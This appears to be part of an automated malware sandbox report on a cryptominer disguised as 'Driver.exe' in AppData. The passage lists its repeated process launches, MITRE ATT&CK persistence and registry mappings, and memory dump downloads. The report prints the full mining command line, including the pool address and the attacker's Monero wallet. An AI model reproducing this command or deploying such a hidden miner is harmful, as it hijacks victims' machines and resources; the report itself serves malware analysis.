  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1688
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:2036
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:2012
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1712
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1116
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1824
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1992
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1676
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1408
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:864
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1048
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1916
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1084
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:892
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:2036
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1652
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1996
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1064
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1332
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:560
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:884
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1088
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1872
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:2016
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:1660
- C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 466XMc1Sg2BTtbHNM7y4yZaFPagsFBcrrMLnyqfw2tVNJePAoR3QMs8bJPJTXoHohXKsh4wgr46ouRFRzFztvpimGmHDLpv -p x -k -v=0 --donate-level=1 -t 1
  2⤵
  PID:2024

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/576-61-0x00000000001F0000-0x0000000000204000-memory.dmp

Filesize
80KB

Download
memory/612-55-0x0000000073FAE000-0x0000000073FAF000-memory.dmp

Filesize
4KB

Download
memory/612-56-0x0000000001340000-0x000000000173E000-memory.dmp

Filesize
4.0MB

Download
memory/612-57-0x0000000075D61000-0x0000000075D63000-memory.dmp

Filesize
8KB

Download
memory/612-58-0x00000000005C0000-0x00000000005C1000-memory.dmp

Filesize
4KB

Download